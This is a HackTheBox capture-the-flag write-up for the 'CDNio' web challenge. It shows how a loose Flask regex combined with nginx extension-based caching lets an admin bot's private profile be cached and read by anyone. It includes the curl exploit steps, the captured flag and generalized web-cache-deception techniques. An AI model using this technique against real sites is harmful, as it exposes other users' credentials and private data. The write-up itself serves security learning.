pwneglyph logo
web web-server nginx cache-poisoning web-cache-deception reverse-proxy regex-bypass jwt flask broken-access-control bot

A weak Django-style regex (.*^profile) lets /profile.gif hit the authenticated profile JSON. nginx caches any *.gif response for 3 min regardless of auth, so make the admin bot fetch /profile.gif, then read the cached admin api_key from the same URL with no token.

CDNio — nginx extension-based cache poisoning steals the admin's profile

Platform: HackTheBox · Category: Web (server-side) · Stack: Flask + gunicorn behind nginx (proxy cache), SQLite

Challenge overview

A Flask profile app behind nginx. The flag is the admin's api_key stored in the users table. JWT auth looks solid (HS256, secret unknown), and there's a bot endpoint that makes the admin visit an attacker-supplied URI. Two design flaws combine into a classic web-cache-deception.

Flaw 1 — the profile route matches too much. The single catch-all route gates on a broken regex:

@main_bp.route('/<path:subpath>', methods=['GET'])
@jwt_required
def profile(subpath):
    if re.match(r'.*^profile', subpath):   # "Django perfection"
        ...
        return jsonify({ "username":..., "api_key": user["api_key"], ... }), 200

re.match(r'.*^profile', subpath) is anchored at the start (re.match) and ^ (no MULTILINE) only matches position 0, so it effectively means "starts with profile" — and that includes profile, profile.gif, profile/x.png, etc. The route returns the caller's full profile JSON (including api_key).

Flaw 2 — nginx caches by file extension, ignoring auth:

location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
    proxy_cache cache;
    proxy_cache_valid 200 3m;          # any 200 cached for 3 minutes
    proxy_pass http://unix:/tmp/gunicorn.sock;
}

Any URL ending in .gif (etc.) that returns 200 is cached for 3 minutes, keyed only on the URL — the Authorization header is not part of the cache key. So a response generated for the admin is served verbatim to anyone who requests the same path.

Exploit

The bot logs in as admin and GETs whatever URI we pass to /visit:

# app/utils/bot.py — logs in as admin, then:
r = requests.get(f"{base_url}/{uri}", headers={"Authorization": f"Bearer {admin_token}"})
  1. Make the admin bot fetch profile.gif. Flask's regex says "starts with profile" → it returns the admin's profile JSON with 200; nginx caches it under the key /profile.gif.
curl -X POST 'http://target/visit' \
  -H "Authorization: Bearer <any-valid-user-token>" \
  -H 'Content-Type: application/json' \
  -d '{"uri":"profile.gif"}'
  1. Fetch the same .gif URL yourself — no token needed, nginx serves the admin's cached body:
curl http://target/profile.gif
{"api_key":"HTB{cDN_10_OoOoOoO_Sc1_F1_iOOOO0000}","email":"admin@hackthebox.com","username":"admin",...}

Flag: HTB{cDN_10_OoOoOoO_Sc1_F1_iOOOO0000}

Takeaways (generalized techniques)

  • Web cache deception via extension-based caching: when a reverse proxy caches by a static-looking suffix (\.gif$) and the app serves dynamic, authenticated content at that URL, the cache key omits the auth header → one victim's private response is stored and replayed to everyone. Need a route that (a) returns sensitive data and (b) tolerates a fake static extension in its path.
  • re.match(r'.*^x') is "starts with x", not "contains x exactly". re.match anchors at the start and ^ without re.MULTILINE only matches offset 0, so trailing junk (.gif, /y.png) passes — giving you a path you can simultaneously route to the dynamic handler and match the proxy's static cache rule.
  • A bot that fetches an attacker URL as a privileged user is a cache-priming primitive: you don't need their token, only a way to make their authenticated response land in a shared cache under a key you can also request.

Sources & references